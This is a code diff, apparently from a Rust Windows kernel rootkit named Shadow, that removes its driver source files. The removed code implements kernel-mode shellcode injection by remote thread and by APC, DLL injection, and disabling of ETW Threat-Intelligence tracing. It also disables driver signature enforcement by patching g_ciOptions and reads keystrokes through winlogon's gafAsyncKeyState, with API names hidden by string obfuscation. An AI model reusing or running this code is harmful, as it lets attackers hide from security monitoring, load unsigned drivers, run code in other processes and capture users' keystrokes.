||||
/// cannot be found in the system.
|
||||
///
|
||||
/// * `{0}` - The name of the module that was not found.
|
||||
#[error("Module {0} not found")]
|
||||
ModuleNotFound(String),
|
||||
|
||||
/// Represents an error where a driver with a specific name was not found.
|
||||
///
|
||||
/// This error occurs when a driver with the given name cannot be found in the
|
||||
/// system's loaded drivers list.
|
||||
///
|
||||
/// * `{0}` - The name of the driver that was not found.
|
||||
#[error("Driver {0} not found")]
|
||||
DriverNotFound(String),
|
||||
|
||||
/// Represents an error where a pattern scan failed to locate a required pattern in memory.
|
||||
///
|
||||
/// This error occurs when a memory pattern scan fails to match the expected byte sequence.
|
||||
#[error("Pattern not found")]
|
||||
PatternNotFound,
|
||||
|
||||
/// Represents an error where a function could not be found in the specified module.
|
||||
///
|
||||
/// This error occurs when a named function is not found in a given module (DLL).
|
||||
///
|
||||
/// * `{0}` - The name of the function that was not found.
|
||||
#[error("Function {0} not found in module")]
|
||||
FunctionNotFound(String),
|
||||
|
||||
/// Represents an unknown failure in the system.
|
||||
///
|
||||
/// This is a generic catch-all error for unexpected failures. It includes the name of
|
||||
/// the failing operation and the line number where the failure occurred.
|
||||
///
|
||||
/// * `{0}` - The operation that failed.
|
||||
/// * `{1}` - The line number where the failure occurred.
|
||||
#[error("Unknown failure in {0}, at line {1}")]
|
||||
UnknownFailure(&'static str, u32),
|
||||
|
||||
/// Represents an error when installing or uninstalling a hook on the Nsiproxy driver.
|
||||
///
|
||||
/// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver.
|
||||
#[error("Error handling hook on Nsiproxy driver")]
|
||||
HookFailure,
|
||||
|
||||
/// Represents an error when a buffer is too small to complete an operation.
|
||||
///
|
||||
/// This error occurs when the provided buffer is not large enough to hold the expected
|
||||
/// data, resulting in an operation failure.
|
||||
#[error("Small buffer")]
|
||||
BufferTooSmall,
|
||||
|
||||
/// Error indicating that a callback could not be found.
|
||||
///
|
||||
/// This occurs when the system is unable to locate the expected callback function.
|
||||
#[error("Error searching for the callback")]
|
||||
CallbackNotFound,
|
||||
|
||||
/// Error indicating that a target with a specific index was not found.
|
||||
///
|
||||
/// This occurs when an operation fails to locate an item by its index in a list or array.
|
||||
///
|
||||
/// # Fields
|
||||
///
|
||||
/// * `{0}` - The index of the target that was not found.
|
||||
#[error("Target not found with index: {0}")]
|
||||
IndexNotFound(usize),
|
||||
|
||||
/// Error indicating that a failure occurred while removing a callback.
|
||||
///
|
||||
/// This occurs when the system fails to remove a callback that was previously registered.
|
||||
#[error("Error removing a callback")]
|
||||
RemoveFailureCallback,
|
||||
|
||||
/// Error indicating that a failure occurred while restoring a callback.
|
||||
///
|
||||
/// This occurs when the system fails to restore a previously removed callback.
|
||||
#[error("Error restoring a callback")]
|
||||
RestoringFailureCallback,
|
||||
}
|
||||
|
||||
impl ShadowError {
|
||||
/// Helper function to create a `ProcessNotFound` error from any type that can be converted into a `String`.
|
||||
pub fn process_not_found<T: Into<String>>(id: T) -> Self {
|
||||
ShadowError::ProcessNotFound(id.into())
|
||||
}
|
||||
}
|
||||
@@ -1,389 +0,0 @@
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::*,
|
||||
_MODE::{KernelMode, UserMode}
|
||||
},
|
||||
core::{
|
||||
ffi::c_void, ptr::null_mut,
|
||||
mem::transmute
|
||||
},
|
||||
crate::{
|
||||
*,
|
||||
pool::PoolMemory,
|
||||
error::ShadowError,
|
||||
patterns::find_zw_function,
|
||||
handle::Handle, file::read_file,
|
||||
KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||
},
|
||||
};
|
||||
|
||||
/// Represents shellcode injection operations.
|
||||
///
|
||||
/// The `Shellcode` struct provides methods for injecting shellcode into a target process
|
||||
/// by allocating memory, copying shellcode, and creating a remote thread in the process.
|
||||
pub struct Shellcode;
|
||||
|
||||
impl Shellcode {
|
||||
/// Injects shellcode into a target process using `NtCreateThreadEx`.
|
||||
///
|
||||
/// This function performs the following steps:
|
||||
/// 1. Opens the target process with all access rights.
|
||||
/// 2. Allocates memory in the target process for the shellcode.
|
||||
/// 3. Copies the shellcode from the current process into the allocated memory.
|
||||
/// 4. Changes the memory protection to allow execution.
|
||||
/// 5. Creates a new thread in the target process to execute the shellcode.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
|
||||
/// * `path` - The file path to the shellcode to be injected, which will be read into memory.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
||||
/// * `Err(ShadowError)` - If any step in the injection process fails, such as:
|
||||
/// - Opening the process (`ZwOpenProcess` failure),
|
||||
/// - Allocating virtual memory in the target process (`ZwAllocateVirtualMemory` failure),
|
||||
/// - Protecting virtual memory (`ZwProtectVirtualMemory` failure),
|
||||
/// - Creating the thread in the target process (`ZwCreateThreadEx` failure).
|
||||
pub unsafe fn injection_thread(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
|
||||
// Find the address of NtCreateThreadEx to create a thread in the target process
|
||||
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))? as *mut c_void;
|
||||
|
||||
// Retrieve the EPROCESS structure for the target process
|
||||
let target_eprocess = Process::new(pid)?;
|
||||
|
||||
// Open the target process with all access rights
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||
}
|
||||
|
||||
// Wrap the process handle in a safe Handle type
|
||||
let h_process = Handle::new(h_process);
|
||||
|
||||
// Read the shellcode from the provided file path
|
||||
let shellcode = read_file(path)?;
|
||||
|
||||
// Allocate memory in the target process for the shellcode
|
||||
let mut region_size = shellcode.len() as u64;
|
||||
let mut base_address = null_mut();
|
||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
||||
}
|
||||
|
||||
// Copy the shellcode into the allocated memory in the target process
|
||||
let mut result_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
IoGetCurrentProcess(),
|
||||
shellcode.as_ptr() as _,
|
||||
target_eprocess.e_process,
|
||||
base_address,
|
||||
shellcode.len() as u64,
|
||||
KernelMode as i8,
|
||||
&mut result_number,
|
||||
);
|
||||
|
||||
// Change the memory protection to allow execution of the shellcode
|
||||
let mut old_protect = 0;
|
||||
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
|
||||
}
|
||||
|
||||
// Create a thread in the target process to execute the shellcode
|
||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||
let mut h_thread = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
status = ZwCreateThreadEx(
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&mut obj_attr,
|
||||
h_process.get(),
|
||||
transmute(base_address),
|
||||
null_mut(),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
null_mut()
|
||||
);
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
|
||||
}
|
||||
|
||||
// Close the thread handle after creation
|
||||
ZwClose(h_thread);
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Injects shellcode into a target process using Asynchronous Procedure Call (APC).
|
||||
///
|
||||
/// This function performs the following steps:
|
||||
/// 1. Finds an alertable thread in the target process.
|
||||
/// 2. Allocates memory in the target process for the shellcode.
|
||||
/// 3. Copies the shellcode from the current process to the target process.
|
||||
/// 4. Initializes two APCs (kernel and user).
|
||||
/// 5. Queues the APCs into the alertable thread of the target process.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
|
||||
/// * `path` - The file path to the shellcode that will be injected into the target process.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - If the shellcode injection is successful.
|
||||
/// * `Err(ShadowError)` - If any of the following steps fail:
|
||||
/// - Finding an alertable thread (`find_thread_alertable`),
|
||||
/// - Opening the process (`ZwOpenProcess` failure),
|
||||
/// - Allocating memory in the target process (`ZwAllocateVirtualMemory` failure),
|
||||
/// - Queuing the APC (`KeInsertQueueApc` failure).
|
||||
pub unsafe fn injection_apc(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
|
||||
// Read the shellcode from the provided file path
|
||||
let shellcode = read_file(path)?;
|
||||
|
||||
// Find an alertable thread in the target process
|
||||
let thread_id = find_thread_alertable(pid)?;
|
||||
|
||||
// Open the target process
|
||||
let target_eprocess = Process::new(pid)?;
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||
}
|
||||
|
||||
// Wrap the process handle in a safe Handle type
|
||||
let h_process = Handle::new(h_process);
|
||||
|
||||
// Allocate memory in the target process for the shellcode
|
||||
let mut base_address = null_mut();
|
||||
let mut region_size = shellcode.len() as u64;
|
||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
||||
}
|
||||
|
||||
// Copy the shellcode into the target process's memory
|
||||
let mut result_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
IoGetCurrentProcess(),
|
||||
shellcode.as_ptr() as _,
|
||||
target_eprocess.e_process,
|
||||
base_address,
|
||||
shellcode.len() as u64,
|
||||
KernelMode as i8,
|
||||
&mut result_number,
|
||||
);
|
||||
|
||||
// Allocate memory for kernel and user APC objects
|
||||
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
|
||||
.map(|mem: PoolMemory| {
|
||||
let ptr = mem.ptr as *mut _KAPC;
|
||||
core::mem::forget(mem);
|
||||
ptr
|
||||
})
|
||||
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||
|
||||
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
|
||||
.map(|mem: PoolMemory| {
|
||||
let ptr = mem.ptr as *mut _KAPC;
|
||||
core::mem::forget(mem);
|
||||
ptr
|
||||
})
|
||||
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||
|
||||
// Initialize the kernel APC
|
||||
KeInitializeApc(
|
||||
kernel_apc,
|
||||
thread_id,
|
||||
OriginalApcEnvironment,
|
||||
kernel_apc_callback,
|
||||
None,
|
||||
None,
|
||||
KernelMode as i8,
|
||||
null_mut()
|
||||
);
|
||||
|
||||
// Initialize the user APC with the shellcode
|
||||
KeInitializeApc(
|
||||
user_apc,
|
||||
thread_id,
|
||||
OriginalApcEnvironment,
|
||||
user_apc_callback,
|
||||
None,
|
||||
transmute::<_, PKNORMAL_ROUTINE>(base_address),
|
||||
UserMode as i8,
|
||||
null_mut()
|
||||
);
|
||||
|
||||
// Insert the user APC into the queue
|
||||
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
|
||||
return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!()))
|
||||
}
|
||||
|
||||
// Insert the kernel APC into the queue
|
||||
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
|
||||
return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!()))
|
||||
}
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
}
|
||||
|
||||
/// Represents dll injection operations.
|
||||
///
|
||||
/// The `DLL` struct provides methods for injecting DLL into a target process
|
||||
/// using either `NtCreateThreadEx`
|
||||
pub struct DLL;
|
||||
|
||||
impl DLL {
|
||||
/// Injects a DLL into a target process by creating a remote thread that calls `LoadLibraryA`.
|
||||
///
|
||||
/// This function opens the target process, allocates memory for the DLL path, and creates a remote thread
|
||||
/// in the target process to load the DLL using `LoadLibraryA`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process where the DLL will be injected.
|
||||
/// * `path` - The file path to the DLL that will be injected.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
||||
/// * `Err(ShadowError)` - If any step, such as opening the process, memory allocation, or thread creation, fails.
|
||||
pub unsafe fn injection_dll_thread(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
|
||||
// Find the address of NtCreateThreadEx to create a thread in the target process
|
||||
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))?;
|
||||
|
||||
// Find the address of LoadLibraryA in kernel32.dll
|
||||
let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA"))?;
|
||||
|
||||
// Open the target process
|
||||
let target_eprocess = Process::new(pid)?;
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||
}
|
||||
|
||||
// Wrap the process handle in a safe Handle type
|
||||
let h_process = Handle::new(h_process);
|
||||
|
||||
// Allocate memory in the target process for the DLL path
|
||||
let mut base_address = null_mut();
|
||||
let mut region_size = (path.len() * size_of::<u16>()) as u64;
|
||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
||||
}
|
||||
|
||||
// Copy the DLL path into the target process's memory
|
||||
let mut result_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
IoGetCurrentProcess(),
|
||||
path.as_ptr() as _,
|
||||
target_eprocess.e_process,
|
||||
base_address,
|
||||
(path.len() * size_of::<u16>()) as u64,
|
||||
KernelMode as i8,
|
||||
&mut result_number,
|
||||
);
|
||||
|
||||
// Change the memory protection to executabl
|
||||
let mut old_protect = 0;
|
||||
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
|
||||
}
|
||||
|
||||
// Create a thread in the target process to load the DLL
|
||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||
let mut h_thread = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
status = ZwCreateThreadEx(
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&mut obj_attr,
|
||||
h_process.get(),
|
||||
transmute(function_address),
|
||||
base_address,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
null_mut()
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
|
||||
}
|
||||
|
||||
// Close the handle to the thread
|
||||
ZwClose(h_thread);
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Kernel APC callback function.
|
||||
///
|
||||
/// This callback is triggered when the kernel APC is executed.
|
||||
/// It ensures that the thread is alertable and then frees the allocated APC structure.
|
||||
pub unsafe extern "system" fn kernel_apc_callback(
|
||||
apc: PKAPC,
|
||||
_normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
_normal_context: *mut PVOID,
|
||||
_system_argument1: *mut PVOID,
|
||||
_system_argument2: *mut PVOID
|
||||
) {
|
||||
// Ensure the thread is alertable in user mode
|
||||
KeTestAlertThread(UserMode as i8);
|
||||
|
||||
// Free the APC object
|
||||
ExFreePool(apc as _)
|
||||
}
|
||||
|
||||
/// User APC callback function.
|
||||
///
|
||||
/// This callback is triggered when the user APC is executed.
|
||||
/// It checks if the thread is terminating and frees the APC structure when done.
|
||||
pub unsafe extern "system" fn user_apc_callback(
|
||||
apc: PKAPC,
|
||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
_normal_context: *mut PVOID,
|
||||
_system_argument1: *mut PVOID,
|
||||
_system_argument2: *mut PVOID
|
||||
) {
|
||||
// Check if the current thread is terminating and prevent the shellcode from executing
|
||||
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
||||
*normal_routine = None;
|
||||
}
|
||||
|
||||
// Free the APC object
|
||||
ExFreePool(apc as _)
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
#![no_std]
|
||||
#![allow(unused_must_use)]
|
||||
#![allow(unused_variables)]
|
||||
|
||||
extern crate alloc;
|
||||
|
||||
mod process;
|
||||
pub use process::*;
|
||||
|
||||
mod thread;
|
||||
pub use thread::*;
|
||||
|
||||
mod injection;
|
||||
pub use injection::*;
|
||||
|
||||
mod module;
|
||||
pub use module::*;
|
||||
|
||||
mod misc;
|
||||
pub use misc::*;
|
||||
|
||||
mod driver;
|
||||
pub use driver::*;
|
||||
|
||||
pub mod port;
|
||||
pub use port::*;
|
||||
|
||||
pub mod error;
|
||||
|
||||
pub mod data;
|
||||
pub use data::*;
|
||||
|
||||
pub mod registry;
|
||||
pub use registry::*;
|
||||
|
||||
pub mod callback;
|
||||
pub use callback::*;
|
||||
|
||||
pub mod utils;
|
||||
pub use utils::*;
|
||||
|
||||
mod offsets;
|
||||
@@ -1,178 +0,0 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
core::{ffi::c_void, ptr::null_mut},
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::*,
|
||||
_MODE::UserMode,
|
||||
_MEMORY_CACHING_TYPE::MmCached,
|
||||
_MM_PAGE_PRIORITY::NormalPagePriority,
|
||||
},
|
||||
crate::{
|
||||
uni, Process,
|
||||
TRACE_ENABLE_INFO,
|
||||
error::ShadowError,
|
||||
get_process_by_name,
|
||||
process_attach::ProcessAttach,
|
||||
patterns::{ETWTI_PATTERN, scan_for_pattern},
|
||||
address::{get_function_address, get_module_base_address},
|
||||
}
|
||||
};
|
||||
|
||||
/// Represents ETW (Event Tracing for Windows) in the operating system.
|
||||
///
|
||||
/// The `Etw` struct provides methods for interacting with and manipulating
|
||||
/// the ETW framework, including enabling or disabling ETW tracing through the ETWTI structure.
|
||||
pub struct Etw;
|
||||
|
||||
impl Etw {
|
||||
/// Enables or disables ETW (Event Tracing for Windows) tracing by modifying the ETWTI structure.
|
||||
///
|
||||
/// This function scans for the ETWTI (Event Tracing for Windows Threat Intelligence) structure
|
||||
/// and adjusts the `IsEnabled` field to either enable or disable ETW tracing. It uses a pattern
|
||||
/// search to locate the ETWTI structure in memory.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - If the operation is successful.
|
||||
/// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure.
|
||||
pub unsafe fn etwti_enable_disable(enable: bool) -> Result<NTSTATUS, ShadowError> {
|
||||
// Convert function name to Unicode string for lookup
|
||||
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
|
||||
|
||||
// Get the system routine address for the function
|
||||
let function_address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
|
||||
// Scan for the ETWTI structure using a predefined pattern
|
||||
let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000)?;
|
||||
|
||||
// Calculate the offset to the TRACE_ENABLE_INFO structure and modify the IsEnabled field
|
||||
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
|
||||
(*trace_info).IsEnabled = if enable { 0x01 } else { 0x00 };
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
}
|
||||
|
||||
/// Represents Driver Signature Enforcement (DSE) in the operating system.
|
||||
///
|
||||
/// The `Dse` struct provides functionality to manipulate the state of DSE,
|
||||
/// which is responsible for enforcing the signature requirement on kernel-mode drivers.
|
||||
pub struct Dse;
|
||||
|
||||
impl Dse {
|
||||
/// Modifies the Driver Signature Enforcement (DSE) state.
|
||||
///
|
||||
/// This function locates the `g_ciOptions` structure in memory, which controls the DSE state, and modifies it to either enable or disable
|
||||
/// driver signature enforcement.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - If the operation is successful.
|
||||
/// * `Err(ShadowError)` - If the function fails to find or modify the DSE state.
|
||||
pub unsafe fn set_dse_state(enable: bool) -> Result<NTSTATUS, ShadowError> {
|
||||
// Get the base address of the CI.dll module, where the relevant function resides
|
||||
let module_address = get_module_base_address(obfstr!("CI.dll"))?;
|
||||
|
||||
// Get the address of the CiInitialize function within CI.dll
|
||||
let function_address = get_function_address(obfstr!("CiInitialize"), module_address)?;
|
||||
|
||||
// Search for the memory pattern that represents the initialization of DSE
|
||||
let instructions = [0x8B, 0xCD];
|
||||
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89)?;
|
||||
|
||||
// Locate the g_ciOptions structure based on a pattern in the CiInitialize function
|
||||
let instructions = [0x49, 0x8b, 0xE9];
|
||||
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21)?;
|
||||
|
||||
// Modify g_ciOptions to either enable or disable DSE based on the input flag
|
||||
if enable {
|
||||
*(g_ci_options as *mut u64) = 0x0006_u64;
|
||||
} else {
|
||||
*(g_ci_options as *mut u64) = 0x000E_u64;
|
||||
}
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
}
|
||||
|
||||
/// Represents keylogger operations in the system.
|
||||
///
|
||||
/// The `Keylogger` struct provides methods to retrieve and map memory for tracking key states
|
||||
/// by interacting with the `gafAsyncKeyState` array in the `winlogon.exe` process.
|
||||
pub struct Keylogger;
|
||||
|
||||
impl Keylogger {
|
||||
/// Retrieves the address of the `gafAsyncKeyState` array in the `winlogon.exe` process and maps it to user-mode.
|
||||
///
|
||||
/// This function finds the process ID of `winlogon.exe`, attaches to the process, retrieves the address of the `gafAsyncKeyState` array,
|
||||
/// and maps it into the user-mode address space for the process.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`.
|
||||
/// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory.
|
||||
pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void, ShadowError> {
|
||||
// Get the PID of winlogon.exe
|
||||
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
||||
|
||||
// Attach to the winlogon.exe process
|
||||
let winlogon_process = Process::new(pid)?;
|
||||
let attach_process = ProcessAttach::new(winlogon_process.e_process);
|
||||
|
||||
// Retrieve the address of gafAsyncKeyState
|
||||
let gaf_async_key_state_address = Self::get_gafasynckeystate_address()?;
|
||||
|
||||
// Validate the address before proceeding
|
||||
if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 {
|
||||
return Err(ShadowError::FunctionExecutionFailed("MmIsAddressValid", line!()))
|
||||
}
|
||||
|
||||
// Allocate an MDL (Memory Descriptor List) to manage the memory
|
||||
let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut());
|
||||
if mdl.is_null() {
|
||||
return Err(ShadowError::FunctionExecutionFailed("IoAllocateMdl", line!()))
|
||||
}
|
||||
|
||||
// Build the MDL for the non-paged pool
|
||||
MmBuildMdlForNonPagedPool(mdl);
|
||||
|
||||
// Map the locked pages into user-mode address space
|
||||
let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32);
|
||||
if address.is_null() {
|
||||
IoFreeMdl(mdl);
|
||||
return Err(ShadowError::FunctionExecutionFailed("MmMapLockedPagesSpecifyCache", line!()))
|
||||
}
|
||||
|
||||
Ok(address)
|
||||
}
|
||||
|
||||
/// Retrieves the address of the `gafAsyncKeyState` array.
|
||||
///
|
||||
/// This function uses a pattern search to locate the `gafAsyncKeyState` array in the `win32kbase.sys` module.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found.
|
||||
/// * `Err(ShadowError)` - If the array is not found or an error occurs during the search.
|
||||
unsafe fn get_gafasynckeystate_address() -> Result<*mut u8, ShadowError> {
|
||||
// Get the base address of win32kbase.sys
|
||||
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||
|
||||
// Get the address of the NtUserGetAsyncKeyState function
|
||||
let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||
|
||||
// Search for the pattern that identifies the gafAsyncKeyState array
|
||||
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
||||
let pattern = [0x48, 0x8B, 0x05];
|
||||
scan_for_pattern(function_address, &pattern, 3, 7, 0x200)
|
||||
}
|
||||
}
|
||||
@@ -1,245 +0,0 @@
|
||||
use {
|
||||
wdk_sys::*,
|
||||
alloc::vec::Vec,
|
||||
winapi::shared::ntdef::LIST_ENTRY,
|
||||
ntapi::{
|
||||
ntpebteb::PEB,
|
||||
ntldr::LDR_DATA_TABLE_ENTRY
|
||||
},
|
||||
};
|
||||
|
||||
use crate::{
|
||||
process::Process,
|
||||
error::ShadowError,
|
||||
data::{
|
||||
MMVAD_SHORT, MMVAD,
|
||||
PsGetProcessPeb
|
||||
},
|
||||
offsets::get_vad_root,
|
||||
utils::process_attach::ProcessAttach
|
||||
};
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct ModuleInfo {
|
||||
pub name: [u16; 256],
|
||||
pub address: usize,
|
||||
pub index: u8,
|
||||
}
|
||||
|
||||
/// Represents a module in the operating system.
|
||||
pub struct Module;
|
||||
|
||||
impl Module {
|
||||
/// VAD Type for an image map.
|
||||
const VAD_IMAGE_MAP: u32 = 2;
|
||||
|
||||
/// Enumerates modules in a given target process.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `process` - A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
|
||||
/// * `module_info` - A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
|
||||
/// * `information` - A mutable reference to a `usize` that will store additional information about the module enumeration.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
||||
pub unsafe fn enumerate_module(pid: usize) -> Result<Vec<ModuleInfo>, ShadowError> {
|
||||
let mut modules: Vec<ModuleInfo> = Vec::with_capacity(276);
|
||||
|
||||
// Attaches the target process to the current context
|
||||
let target = Process::new(pid)?;
|
||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||
|
||||
// Gets the PEB (Process Environment Block) of the target process
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
||||
}
|
||||
|
||||
// Enumerates the loaded modules from the InLoadOrderModuleList
|
||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||
let mut count = 0;
|
||||
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
return Err(ShadowError::NullPointer("LIST_ENTRY"));
|
||||
}
|
||||
|
||||
